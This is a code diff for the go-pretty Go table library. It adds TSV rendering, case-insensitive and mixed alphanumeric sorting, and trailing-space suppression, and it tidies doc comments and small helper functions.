//
|
||||
// #,First Name,Last Name,Salary,
|
||||
// 1,Arya,Stark,3000,
|
||||
// 20,Jon,Snow,2000,"You know nothing\, Jon Snow!"
|
||||
// 300,Tyrion,Lannister,5000,
|
||||
// ,,Total,10000,
|
||||
func (t *Table) RenderCSV() string {
|
||||
t.initForRender()
|
||||
|
||||
|
||||
+46
-45
@@ -13,49 +13,50 @@ const (
|
||||
)
|
||||
|
||||
// RenderHTML renders the Table in HTML format. Example:
|
||||
// <table class="go-pretty-table">
|
||||
// <thead>
|
||||
// <tr>
|
||||
// <th align="right">#</th>
|
||||
// <th>First Name</th>
|
||||
// <th>Last Name</th>
|
||||
// <th align="right">Salary</th>
|
||||
// <th> </th>
|
||||
// </tr>
|
||||
// </thead>
|
||||
// <tbody>
|
||||
// <tr>
|
||||
// <td align="right">1</td>
|
||||
// <td>Arya</td>
|
||||
// <td>Stark</td>
|
||||
// <td align="right">3000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">20</td>
|
||||
// <td>Jon</td>
|
||||
// <td>Snow</td>
|
||||
// <td align="right">2000</td>
|
||||
// <td>You know nothing, Jon Snow!</td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">300</td>
|
||||
// <td>Tyrion</td>
|
||||
// <td>Lannister</td>
|
||||
// <td align="right">5000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tbody>
|
||||
// <tfoot>
|
||||
// <tr>
|
||||
// <td align="right"> </td>
|
||||
// <td> </td>
|
||||
// <td>Total</td>
|
||||
// <td align="right">10000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tfoot>
|
||||
// </table>
|
||||
//
|
||||
// <table class="go-pretty-table">
|
||||
// <thead>
|
||||
// <tr>
|
||||
// <th align="right">#</th>
|
||||
// <th>First Name</th>
|
||||
// <th>Last Name</th>
|
||||
// <th align="right">Salary</th>
|
||||
// <th> </th>
|
||||
// </tr>
|
||||
// </thead>
|
||||
// <tbody>
|
||||
// <tr>
|
||||
// <td align="right">1</td>
|
||||
// <td>Arya</td>
|
||||
// <td>Stark</td>
|
||||
// <td align="right">3000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">20</td>
|
||||
// <td>Jon</td>
|
||||
// <td>Snow</td>
|
||||
// <td align="right">2000</td>
|
||||
// <td>You know nothing, Jon Snow!</td>
|
||||
// </tr>
|
||||
// <tr>
|
||||
// <td align="right">300</td>
|
||||
// <td>Tyrion</td>
|
||||
// <td>Lannister</td>
|
||||
// <td align="right">5000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tbody>
|
||||
// <tfoot>
|
||||
// <tr>
|
||||
// <td align="right"> </td>
|
||||
// <td> </td>
|
||||
// <td>Total</td>
|
||||
// <td align="right">10000</td>
|
||||
// <td> </td>
|
||||
// </tr>
|
||||
// </tfoot>
|
||||
// </table>
|
||||
func (t *Table) RenderHTML() string {
|
||||
t.initForRender()
|
||||
|
||||
@@ -112,7 +113,7 @@ func (t *Table) htmlRenderColumn(out *strings.Builder, colStr string) {
|
||||
out.WriteString(colStr)
|
||||
}
|
||||
|
||||
func (t *Table) htmlRenderColumnAttributes(out *strings.Builder, row rowStr, colIdx int, hint renderHint) {
|
||||
func (t *Table) htmlRenderColumnAttributes(out *strings.Builder, colIdx int, hint renderHint) {
|
||||
// determine the HTML "align"/"valign" property values
|
||||
align := t.getAlign(colIdx, hint).HTMLProperty()
|
||||
vAlign := t.getVAlign(colIdx, hint).HTMLProperty()
|
||||
@@ -161,7 +162,7 @@ func (t *Table) htmlRenderRow(out *strings.Builder, row rowStr, hint renderHint)
|
||||
// write the row
|
||||
out.WriteString(" <")
|
||||
out.WriteString(colTagName)
|
||||
t.htmlRenderColumnAttributes(out, row, colIdx, hint)
|
||||
t.htmlRenderColumnAttributes(out, colIdx, hint)
|
||||
out.WriteString(">")
|
||||
if len(colStr) == 0 {
|
||||
out.WriteString(t.style.HTML.EmptyColumn)
|
||||
|
||||
+3
-6
@@ -43,12 +43,8 @@ func (t *Table) analyzeAndStringifyColumn(colIdx int, col interface{}, hint rend
|
||||
} else {
|
||||
colStr = fmt.Sprint(col)
|
||||
}
|
||||
if strings.Contains(colStr, "\t") {
|
||||
colStr = strings.Replace(colStr, "\t", " ", -1)
|
||||
}
|
||||
if strings.Contains(colStr, "\r") {
|
||||
colStr = strings.Replace(colStr, "\r", "", -1)
|
||||
}
|
||||
colStr = strings.ReplaceAll(colStr, "\t", " ")
|
||||
colStr = text.ProcessCRLF(colStr)
|
||||
return fmt.Sprintf("%s%s", t.style.Format.Direction.Modifier(), colStr)
|
||||
}
|
||||
|
||||
@@ -282,6 +278,7 @@ func (t *Table) reset() {
|
||||
t.autoIndexVIndexMaxLength = 0
|
||||
t.columnConfigMap = nil
|
||||
t.columnIsNonNumeric = nil
|
||||
t.firstRowOfPage = true
|
||||
t.maxColumnLengths = nil
|
||||
t.maxRowLength = 0
|
||||
t.numColumns = 0
|
||||
|
||||
+9
-13
@@ -6,12 +6,13 @@ import (
|
||||
)
|
||||
|
||||
// RenderMarkdown renders the Table in Markdown format. Example:
|
||||
// | # | First Name | Last Name | Salary | |
|
||||
// | ---:| --- | --- | ---:| --- |
|
||||
// | 1 | Arya | Stark | 3000 | |
|
||||
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
|
||||
// | 300 | Tyrion | Lannister | 5000 | |
|
||||
// | | | Total | 10000 | |
|
||||
//
|
||||
// | # | First Name | Last Name | Salary | |
|
||||
// | ---:| --- | --- | ---:| --- |
|
||||
// | 1 | Arya | Stark | 3000 | |
|
||||
// | 20 | Jon | Snow | 2000 | You know nothing, Jon Snow! |
|
||||
// | 300 | Tyrion | Lannister | 5000 | |
|
||||
// | | | Total | 10000 | |
|
||||
func (t *Table) RenderMarkdown() string {
|
||||
t.initForRender()
|
||||
|
||||
@@ -54,12 +55,8 @@ func (t *Table) markdownRenderRow(out *strings.Builder, row rowStr, hint renderH
|
||||
colStr = row[colIdx]
|
||||
}
|
||||
out.WriteRune(' ')
|
||||
if strings.Contains(colStr, "|") {
|
||||
colStr = strings.Replace(colStr, "|", "\\|", -1)
|
||||
}
|
||||
if strings.Contains(colStr, "\n") {
|
||||
colStr = strings.Replace(colStr, "\n", "<br/>", -1)
|
||||
}
|
||||
colStr = strings.ReplaceAll(colStr, "|", "\\|")
|
||||
colStr = strings.ReplaceAll(colStr, "\n", "<br/>")
|
||||
out.WriteString(colStr)
|
||||
out.WriteRune(' ')
|
||||
}
|
||||
@@ -94,7 +91,6 @@ func (t *Table) markdownRenderRows(out *strings.Builder, rows []rowStr, hint ren
|
||||
|
||||
func (t *Table) markdownRenderRowsFooter(out *strings.Builder) {
|
||||
t.markdownRenderRows(out, t.rowsFooter, renderHint{isFooterRow: true})
|
||||
|
||||
}
|
||||
|
||||
func (t *Table) markdownRenderRowsHeader(out *strings.Builder) {
|
||||
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package table
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (t *Table) RenderTSV() string {
|
||||
t.initForRender()
|
||||
|
||||
var out strings.Builder
|
||||
|
||||
if t.numColumns > 0 {
|
||||
if t.title != "" {
|
||||
out.WriteString(t.title)
|
||||
}
|
||||
|
||||
if t.autoIndex && len(t.rowsHeader) == 0 {
|
||||
t.tsvRenderRow(&out, t.getAutoIndexColumnIDs(), renderHint{isAutoIndexRow: true, isHeaderRow: true})
|
||||
}
|
||||
|
||||
t.tsvRenderRows(&out, t.rowsHeader, renderHint{isHeaderRow: true})
|
||||
t.tsvRenderRows(&out, t.rows, renderHint{})
|
||||
t.tsvRenderRows(&out, t.rowsFooter, renderHint{isFooterRow: true})
|
||||
|
||||
if t.caption != "" {
|
||||
out.WriteRune('\n')
|
||||
out.WriteString(t.caption)
|
||||
}
|
||||
}
|
||||
|
||||
return t.render(&out)
|
||||
}
|
||||
|
||||
func (t *Table) tsvRenderRow(out *strings.Builder, row rowStr, hint renderHint) {
|
||||
if out.Len() > 0 {
|
||||
out.WriteRune('\n')
|
||||
}
|
||||
|
||||
for idx, col := range row {
|
||||
if idx == 0 && t.autoIndex {
|
||||
if hint.isRegularRow() {
|
||||
out.WriteString(fmt.Sprint(hint.rowNumber))
|
||||
}
|
||||
out.WriteRune('\t')
|
||||
}
|
||||
|
||||
if idx > 0 {
|
||||
out.WriteRune('\t')
|
||||
}
|
||||
|
||||
if strings.ContainsAny(col, "\t\n\"") || strings.Contains(col, " ") {
|
||||
out.WriteString(fmt.Sprintf("\"%s\"", t.tsvFixDoubleQuotes(col)))
|
||||
} else {
|
||||
out.WriteString(col)
|
||||
}
|
||||
}
|
||||
|
||||
for colIdx := len(row); colIdx < t.numColumns; colIdx++ {
|
||||
out.WriteRune('\t')
|
||||
}
|
||||
}
|
||||
|
||||
func (t *Table) tsvFixDoubleQuotes(str string) string {
|
||||
return strings.Replace(str, "\"", "\"\"", -1)
|
||||
}
|
||||
|
||||
func (t *Table) tsvRenderRows(out *strings.Builder, rows []rowStr, hint renderHint) {
|
||||
for idx, row := range rows {
|
||||
hint.rowNumber = idx + 1
|
||||
t.tsvRenderRow(out, row, hint)
|
||||
}
|
||||
}
|
||||
+126
-25
@@ -3,6 +3,7 @@ package table
|
||||
import (
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SortBy defines What to sort (Column Name or Number), and How to sort (Mode).
|
||||
@@ -17,6 +18,9 @@ type SortBy struct {
|
||||
|
||||
// Mode tells the Writer how to Sort. Asc/Dsc/etc.
|
||||
Mode SortMode
|
||||
|
||||
// IgnoreCase makes sorting case-insensitive
|
||||
IgnoreCase bool
|
||||
}
|
||||
|
||||
// SortMode defines How to sort.
|
||||
@@ -25,12 +29,24 @@ type SortMode int
|
||||
const (
|
||||
// Asc sorts the column in Ascending order alphabetically.
|
||||
Asc SortMode = iota
|
||||
// AscAlphaNumeric sorts the column in Ascending order alphabetically and
|
||||
// then numerically.
|
||||
AscAlphaNumeric
|
||||
// AscNumeric sorts the column in Ascending order numerically.
|
||||
AscNumeric
|
||||
// AscNumericAlpha sorts the column in Ascending order numerically and
|
||||
// then alphabetically.
|
||||
AscNumericAlpha
|
||||
// Dsc sorts the column in Descending order alphabetically.
|
||||
Dsc
|
||||
// DscAlphaNumeric sorts the column in Descending order alphabetically and
|
||||
// then numerically.
|
||||
DscAlphaNumeric
|
||||
// DscNumeric sorts the column in Descending order numerically.
|
||||
DscNumeric
|
||||
// DscNumericAlpha sorts the column in Descending order numerically and
|
||||
// then alphabetically.
|
||||
DscNumericAlpha
|
||||
)
|
||||
|
||||
type rowsSorter struct {
|
||||
@@ -74,9 +90,10 @@ func (t *Table) parseSortBy(sortBy []SortBy) []SortBy {
|
||||
}
|
||||
if colNum > 0 {
|
||||
resSortBy = append(resSortBy, SortBy{
|
||||
Name: col.Name,
|
||||
Number: colNum,
|
||||
Mode: col.Mode,
|
||||
Name: col.Name,
|
||||
Number: colNum,
|
||||
Mode: col.Mode,
|
||||
IgnoreCase: col.IgnoreCase,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -92,36 +109,120 @@ func (rs rowsSorter) Swap(i, j int) {
|
||||
}
|
||||
|
||||
func (rs rowsSorter) Less(i, j int) bool {
|
||||
shouldContinue, returnValue := false, false
|
||||
realI, realJ := rs.sortedIndices[i], rs.sortedIndices[j]
|
||||
for _, col := range rs.sortBy {
|
||||
rowI, rowJ, colIdx := rs.rows[realI], rs.rows[realJ], col.Number-1
|
||||
if colIdx < len(rowI) && colIdx < len(rowJ) {
|
||||
shouldContinue, returnValue := rs.lessColumns(rowI, rowJ, colIdx, col)
|
||||
if !shouldContinue {
|
||||
return returnValue
|
||||
}
|
||||
for _, sortBy := range rs.sortBy {
|
||||
// extract the values/cells from the rows for comparison
|
||||
rowI, rowJ, colIdx := rs.rows[realI], rs.rows[realJ], sortBy.Number-1
|
||||
iVal, jVal := "", ""
|
||||
if colIdx < len(rowI) {
|
||||
iVal = rowI[colIdx]
|
||||
}
|
||||
if colIdx < len(rowJ) {
|
||||
jVal = rowJ[colIdx]
|
||||
}
|
||||
|
||||
// compare and choose whether to continue
|
||||
shouldContinue, returnValue = less(iVal, jVal, sortBy)
|
||||
if !shouldContinue {
|
||||
break
|
||||
}
|
||||
}
|
||||
return false
|
||||
return returnValue
|
||||
}
|
||||
|
||||
func (rs rowsSorter) lessColumns(rowI rowStr, rowJ rowStr, colIdx int, col SortBy) (bool, bool) {
|
||||
if rowI[colIdx] == rowJ[colIdx] {
|
||||
func less(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
if iVal == jVal {
|
||||
return true, false
|
||||
} else if col.Mode == Asc {
|
||||
return false, rowI[colIdx] < rowJ[colIdx]
|
||||
} else if col.Mode == Dsc {
|
||||
return false, rowI[colIdx] > rowJ[colIdx]
|
||||
}
|
||||
|
||||
iVal, iErr := strconv.ParseFloat(rowI[colIdx], 64)
|
||||
jVal, jErr := strconv.ParseFloat(rowJ[colIdx], 64)
|
||||
if iErr == nil && jErr == nil {
|
||||
if col.Mode == AscNumeric {
|
||||
return false, iVal < jVal
|
||||
} else if col.Mode == DscNumeric {
|
||||
return false, jVal < iVal
|
||||
switch sb.Mode {
|
||||
case Asc, Dsc:
|
||||
return lessAlphabetic(iVal, jVal, sb)
|
||||
case AscNumeric, DscNumeric:
|
||||
return lessNumeric(iVal, jVal, sb)
|
||||
default: // AscAlphaNumeric, AscNumericAlpha, DscAlphaNumeric, DscNumericAlpha
|
||||
return lessMixedMode(iVal, jVal, sb)
|
||||
}
|
||||
}
|
||||
|
||||
func lessAlphabetic(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
if sb.IgnoreCase {
|
||||
iLow := strings.ToLower(iVal)
|
||||
jLow := strings.ToLower(jVal)
|
||||
// when two strings are case-insensitive identical, compare them casesensitive.
|
||||
// That makes sure to get a consistent sorting
|
||||
identical := iLow == jLow
|
||||
switch sb.Mode {
|
||||
case Asc, AscAlphaNumeric, AscNumericAlpha:
|
||||
return identical, (identical && iVal < jVal) || iLow < jLow
|
||||
default: // Dsc, DscAlphaNumeric, DscNumericAlpha
|
||||
return identical, (identical && iVal > jVal) || iLow > jLow
|
||||
}
|
||||
}
|
||||
return true, false
|
||||
switch sb.Mode {
|
||||
case Asc, AscAlphaNumeric, AscNumericAlpha:
|
||||
return false, iVal < jVal
|
||||
default: // Dsc, DscAlphaNumeric, DscNumericAlpha
|
||||
return false, iVal > jVal
|
||||
}
|
||||
}
|
||||
|
||||
func lessAlphaNumericI(sb SortBy) (bool, bool) {
|
||||
// i == "abc"; j == 5
|
||||
switch sb.Mode {
|
||||
case AscAlphaNumeric, DscAlphaNumeric:
|
||||
return false, true
|
||||
default: // AscNumericAlpha, DscNumericAlpha
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
|
||||
func lessAlphaNumericJ(sb SortBy) (bool, bool) {
|
||||
// i == 5; j == "abc"
|
||||
switch sb.Mode {
|
||||
case AscAlphaNumeric, DscAlphaNumeric:
|
||||
return false, false
|
||||
default: // AscNumericAlpha, DscNumericAlpha:
|
||||
return false, true
|
||||
}
|
||||
}
|
||||
|
||||
func lessMixedMode(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
iNumVal, iErr := strconv.ParseFloat(iVal, 64)
|
||||
jNumVal, jErr := strconv.ParseFloat(jVal, 64)
|
||||
if iErr != nil && jErr != nil { // both are alphanumeric
|
||||
return lessAlphabetic(iVal, jVal, sb)
|
||||
}
|
||||
if iErr != nil { // iVal is alphabetic, jVal is numeric
|
||||
return lessAlphaNumericI(sb)
|
||||
}
|
||||
if jErr != nil { // iVal is numeric, jVal is alphabetic
|
||||
return lessAlphaNumericJ(sb)
|
||||
}
|
||||
// both values numeric
|
||||
return lessNumericVal(iNumVal, jNumVal, sb)
|
||||
}
|
||||
|
||||
func lessNumeric(iVal string, jVal string, sb SortBy) (bool, bool) {
|
||||
iNumVal, iErr := strconv.ParseFloat(iVal, 64)
|
||||
jNumVal, jErr := strconv.ParseFloat(jVal, 64)
|
||||
if iErr != nil || jErr != nil {
|
||||
return false, false
|
||||
}
|
||||
|
||||
return lessNumericVal(iNumVal, jNumVal, sb)
|
||||
}
|
||||
|
||||
func lessNumericVal(iVal float64, jVal float64, sb SortBy) (bool, bool) {
|
||||
if iVal == jVal {
|
||||
return true, false
|
||||
}
|
||||
|
||||
switch sb.Mode {
|
||||
case AscNumeric, AscAlphaNumeric, AscNumericAlpha:
|
||||
return false, iVal < jVal
|
||||
default: // DscNumeric, DscAlphaNumeric, DscNumericAlpha
|
||||
return false, iVal > jVal
|
||||
}
|
||||
}
|
||||
+13
-17
@@ -675,14 +675,12 @@ type FormatOptions struct {
|
||||
Row text.Format // (data) row(s) text format
|
||||
}
|
||||
|
||||
var (
|
||||
// FormatOptionsDefault defines sensible formatting options.
|
||||
FormatOptionsDefault = FormatOptions{
|
||||
Footer: text.FormatUpper,
|
||||
Header: text.FormatUpper,
|
||||
Row: text.FormatDefault,
|
||||
}
|
||||
)
|
||||
// FormatOptionsDefault defines sensible formatting options.
|
||||
var FormatOptionsDefault = FormatOptions{
|
||||
Footer: text.FormatUpper,
|
||||
Header: text.FormatUpper,
|
||||
Row: text.FormatDefault,
|
||||
}
|
||||
|
||||
// HTMLOptions defines the global options to control HTML rendering.
|
||||
type HTMLOptions struct {
|
||||
@@ -692,15 +690,13 @@ type HTMLOptions struct {
|
||||
Newline string // string to replace "\n" characters with
|
||||
}
|
||||
|
||||
var (
|
||||
// DefaultHTMLOptions defines sensible HTML rendering defaults.
|
||||
DefaultHTMLOptions = HTMLOptions{
|
||||
CSSClass: DefaultHTMLCSSClass,
|
||||
EmptyColumn: " ",
|
||||
EscapeText: true,
|
||||
Newline: "<br/>",
|
||||
}
|
||||
)
|
||||
// DefaultHTMLOptions defines sensible HTML rendering defaults.
|
||||
var DefaultHTMLOptions = HTMLOptions{
|
||||
CSSClass: DefaultHTMLCSSClass,
|
||||
EmptyColumn: " ",
|
||||
EscapeText: true,
|
||||
Newline: "<br/>",
|
||||
}
|
||||
|
||||
// Options defines the global options that determine how the Table is
|
||||
// rendered.
|
||||
|
||||
+59
-25
@@ -4,6 +4,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"unicode"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
@@ -32,13 +33,13 @@ func (row rowStr) areEqual(colIdx1 int, colIdx2 int) bool {
|
||||
return colIdx1 >= 0 && colIdx2 < len(row) && row[colIdx1] == row[colIdx2]
|
||||
}
|
||||
|
||||
// Table helps print a 2-dimensional array in a human readable pretty-table.
|
||||
// Table helps print a 2-dimensional array in a human-readable pretty-table.
|
||||
type Table struct {
|
||||
// allowedRowLength is the max allowed length for a row (or line of output)
|
||||
allowedRowLength int
|
||||
// enable automatic indexing of the rows and columns like a spreadsheet?
|
||||
autoIndex bool
|
||||
// autoIndexVIndexMaxLength denotes the length in chars for the last rownum
|
||||
// autoIndexVIndexMaxLength denotes the length in chars for the last row
|
||||
autoIndexVIndexMaxLength int
|
||||
// caption stores the text to be rendered just below the table; and doesn't
|
||||
// get used when rendered as a CSV
|
||||
@@ -50,6 +51,8 @@ type Table struct {
|
||||
// columnConfigMap stores the custom-configuration by column
|
||||
// number and is generated before rendering
|
||||
columnConfigMap map[int]ColumnConfig
|
||||
// firstRowOfPage tells if the renderer is on the first row of a page?
|
||||
firstRowOfPage bool
|
||||
// htmlCSSClass stores the HTML CSS Class to use on the <table> node
|
||||
htmlCSSClass string
|
||||
// indexColumn stores the number of the column considered as the "index"
|
||||
@@ -106,6 +109,8 @@ type Table struct {
|
||||
// suppressEmptyColumns hides columns which have no content on all regular
|
||||
// rows
|
||||
suppressEmptyColumns bool
|
||||
// supressTrailingSpaces removes all trailing spaces from the end of the last column
|
||||
supressTrailingSpaces bool
|
||||
// title contains the text to appear above the table
|
||||
title string
|
||||
}
|
||||
@@ -164,14 +169,15 @@ func (t *Table) AppendRows(rows []Row, config ...RowConfig) {
|
||||
// append is a separator, it will not be rendered in addition to the usual table
|
||||
// separator.
|
||||
//
|
||||
//******************************************************************************
|
||||
// ******************************************************************************
|
||||
// Please note the following caveats:
|
||||
// 1. SetPageSize(): this may end up creating consecutive separator rows near
|
||||
// the end of a page or at the beginning of a page
|
||||
// 2. SortBy(): since SortBy could inherently alter the ordering of rows, the
|
||||
// separators may not appear after the row it was originally intended to
|
||||
// follow
|
||||
//******************************************************************************
|
||||
// 1. SetPageSize(): this may end up creating consecutive separator rows near
|
||||
// the end of a page or at the beginning of a page
|
||||
// 2. SortBy(): since SortBy could inherently alter the ordering of rows, the
|
||||
// separators may not appear after the row it was originally intended to
|
||||
// follow
|
||||
//
|
||||
// ******************************************************************************
|
||||
func (t *Table) AppendSeparator() {
|
||||
if t.separators == nil {
|
||||
t.separators = make(map[int]bool)
|
||||
@@ -228,7 +234,7 @@ func (t *Table) SetColumnConfigs(configs []ColumnConfig) {
|
||||
t.columnConfigs = configs
|
||||
}
|
||||
|
||||
// SetHTMLCSSClass sets the the HTML CSS Class to use on the <table> node
|
||||
// SetHTMLCSSClass sets the HTML CSS Class to use on the <table> node
|
||||
// when rendering the Table in HTML format.
|
||||
//
|
||||
// Deprecated: in favor of Style().HTML.CSSClass
|
||||
@@ -296,6 +302,11 @@ func (t *Table) SuppressEmptyColumns() {
|
||||
t.suppressEmptyColumns = true
|
||||
}
|
||||
|
||||
// SuppressTrailingSpaces removes all trailing spaces from the output.
|
||||
func (t *Table) SuppressTrailingSpaces() {
|
||||
t.supressTrailingSpaces = true
|
||||
}
|
||||
|
||||
func (t *Table) getAlign(colIdx int, hint renderHint) text.Align {
|
||||
align := text.AlignDefault
|
||||
if cfg, ok := t.columnConfigMap[colIdx]; ok {
|
||||
@@ -388,7 +399,7 @@ func (t *Table) getBorderRight(hint renderHint) string {
|
||||
|
||||
func (t *Table) getColumnColors(colIdx int, hint renderHint) text.Colors {
|
||||
if hint.isBorderOrSeparator() {
|
||||
if colors := t.getColumnColorsForBorderOrSeparator(colIdx, hint); colors != nil {
|
||||
if colors := t.getColumnColorsForBorderOrSeparator(hint); colors != nil {
|
||||
return colors
|
||||
}
|
||||
}
|
||||
@@ -410,7 +421,7 @@ func (t *Table) getColumnColors(colIdx int, hint renderHint) text.Colors {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Table) getColumnColorsForBorderOrSeparator(colIdx int, hint renderHint) text.Colors {
|
||||
func (t *Table) getColumnColorsForBorderOrSeparator(hint renderHint) text.Colors {
|
||||
if t.style.Options.DoNotColorBordersAndSeparators {
|
||||
return text.Colors{} // not nil to force caller to paint with no colors
|
||||
}
|
||||
@@ -439,12 +450,9 @@ func (t *Table) getColumnSeparator(row rowStr, colIdx int, hint renderHint) stri
|
||||
separator = t.style.Box.BottomSeparator
|
||||
}
|
||||
} else {
|
||||
separator = t.getColumnSeparatorNonBorder(
|
||||
t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint),
|
||||
t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint),
|
||||
colIdx,
|
||||
hint,
|
||||
)
|
||||
sm1 := t.shouldMergeCellsHorizontallyAbove(row, colIdx, hint)
|
||||
sm2 := t.shouldMergeCellsHorizontallyBelow(row, colIdx, hint)
|
||||
separator = t.getColumnSeparatorNonBorder(sm1, sm2, colIdx, hint)
|
||||
}
|
||||
}
|
||||
return separator
|
||||
@@ -681,6 +689,13 @@ func (t *Table) isIndexColumn(colIdx int, hint renderHint) bool {
|
||||
|
||||
func (t *Table) render(out *strings.Builder) string {
|
||||
outStr := out.String()
|
||||
if t.supressTrailingSpaces {
|
||||
var trimmed []string
|
||||
for _, line := range strings.Split(outStr, "\n") {
|
||||
trimmed = append(trimmed, strings.TrimRightFunc(line, unicode.IsSpace))
|
||||
}
|
||||
outStr = strings.Join(trimmed, "\n")
|
||||
}
|
||||
if t.outputMirror != nil && len(outStr) > 0 {
|
||||
_, _ = t.outputMirror.Write([]byte(outStr))
|
||||
_, _ = t.outputMirror.Write([]byte("\n"))
|
||||
@@ -721,7 +736,10 @@ func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint r
|
||||
|
||||
var rowConfig RowConfig
|
||||
if hint.isSeparatorRow {
|
||||
if hint.isHeaderRow && hint.rowNumber == 0 {
|
||||
if hint.isRegularRow() {
|
||||
rowConfig = t.getRowConfig(renderHint{rowNumber: hint.rowNumber + 1})
|
||||
row = t.getRow(hint.rowNumber, renderHint{})
|
||||
} else if hint.isHeaderRow && hint.rowNumber == 0 {
|
||||
rowConfig = t.getRowConfig(renderHint{isHeaderRow: true, rowNumber: 1})
|
||||
row = t.getRow(0, hint)
|
||||
} else if hint.isHeaderRow && hint.isLastRow {
|
||||
@@ -733,9 +751,6 @@ func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint r
|
||||
} else if hint.isFooterRow && hint.rowNumber >= 0 {
|
||||
rowConfig = t.getRowConfig(renderHint{isFooterRow: true, rowNumber: 1})
|
||||
row = t.getRow(hint.rowNumber, renderHint{isFooterRow: true})
|
||||
} else if hint.isRegularRow() {
|
||||
rowConfig = t.getRowConfig(renderHint{rowNumber: hint.rowNumber + 1})
|
||||
row = t.getRow(hint.rowNumber, renderHint{})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -746,24 +761,43 @@ func (t *Table) shouldMergeCellsHorizontallyBelow(row rowStr, colIdx int, hint r
|
||||
}
|
||||
|
||||
func (t *Table) shouldMergeCellsVertically(colIdx int, hint renderHint) bool {
|
||||
if t.columnConfigMap[colIdx].AutoMerge && colIdx < t.numColumns {
|
||||
if !t.firstRowOfPage && t.columnConfigMap[colIdx].AutoMerge && colIdx < t.numColumns {
|
||||
if hint.isSeparatorRow {
|
||||
rowPrev := t.getRow(hint.rowNumber-1, hint)
|
||||
rowNext := t.getRow(hint.rowNumber, hint)
|
||||
if colIdx < len(rowPrev) && colIdx < len(rowNext) {
|
||||
return rowPrev[colIdx] == rowNext[colIdx] || "" == rowNext[colIdx]
|
||||
return rowPrev[colIdx] == rowNext[colIdx]
|
||||
}
|
||||
} else {
|
||||
rowPrev := t.getRow(hint.rowNumber-2, hint)
|
||||
rowCurr := t.getRow(hint.rowNumber-1, hint)
|
||||
if colIdx < len(rowPrev) && colIdx < len(rowCurr) {
|
||||
return rowPrev[colIdx] == rowCurr[colIdx] || "" == rowCurr[colIdx]
|
||||
return rowPrev[colIdx] == rowCurr[colIdx]
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (t *Table) shouldSeparateRows(rowIdx int, numRows int) bool {
|
||||
// not asked to separate rows and no manually added separator
|
||||
if !t.style.Options.SeparateRows && !t.separators[rowIdx] {
|
||||
return false
|
||||
}
|
||||
|
||||
pageSize := numRows
|
||||
if t.pageSize > 0 {
|
||||
pageSize = t.pageSize
|
||||
}
|
||||
if rowIdx%pageSize == pageSize-1 { // last row of page
|
||||
return false
|
||||
}
|
||||
if rowIdx == numRows-1 { // last row of table
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (t *Table) wrapRow(row rowStr) (int, rowStr) {
|
||||
colMaxLines := 0
|
||||
rowWrapped := make(rowStr, len(row))
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@ func AutoIndexColumnID(colIdx int) string {
|
||||
type WidthEnforcer func(col string, maxLen int) string
|
||||
|
||||
// widthEnforcerNone returns the input string as is without any modifications.
|
||||
func widthEnforcerNone(col string, maxLen int) string {
|
||||
func widthEnforcerNone(col string, _ int) string {
|
||||
return col
|
||||
}
|
||||
|
||||
|
||||
+3
-1
@@ -4,7 +4,7 @@ import (
|
||||
"io"
|
||||
)
|
||||
|
||||
// Writer declares the interfaces that can be used to setup and render a table.
|
||||
// Writer declares the interfaces that can be used to set up and render a table.
|
||||
type Writer interface {
|
||||
AppendFooter(row Row, configs ...RowConfig)
|
||||
AppendHeader(row Row, configs ...RowConfig)
|
||||
@@ -16,6 +16,7 @@ type Writer interface {
|
||||
RenderCSV() string
|
||||
RenderHTML() string
|
||||
RenderMarkdown() string
|
||||
RenderTSV() string
|
||||
ResetFooters()
|
||||
ResetHeaders()
|
||||
ResetRows()
|
||||
@@ -32,6 +33,7 @@ type Writer interface {
|
||||
SortBy(sortBy []SortBy)
|
||||
Style() *Style
|
||||
SuppressEmptyColumns()
|
||||
SuppressTrailingSpaces()
|
||||
|
||||
// deprecated; in favor of Style().HTML.CSSClass
|
||||
SetHTMLCSSClass(cssClass string)
|
||||
|
||||
+43
-31
@@ -17,32 +17,44 @@ const (
|
||||
AlignCenter // " center "
|
||||
AlignJustify // "justify it"
|
||||
AlignRight // " right"
|
||||
AlignAuto // AlignRight for numbers, AlignLeft for the rest
|
||||
)
|
||||
|
||||
// Apply aligns the text as directed. For ex.:
|
||||
// * AlignDefault.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// * AlignLeft.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// * AlignCenter.Apply("Jon Snow", 12) returns " Jon Snow "
|
||||
// * AlignJustify.Apply("Jon Snow", 12) returns "Jon Snow"
|
||||
// * AlignRight.Apply("Jon Snow", 12) returns " Jon Snow"
|
||||
// - AlignDefault.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// - AlignLeft.Apply("Jon Snow", 12) returns "Jon Snow "
|
||||
// - AlignCenter.Apply("Jon Snow", 12) returns " Jon Snow "
|
||||
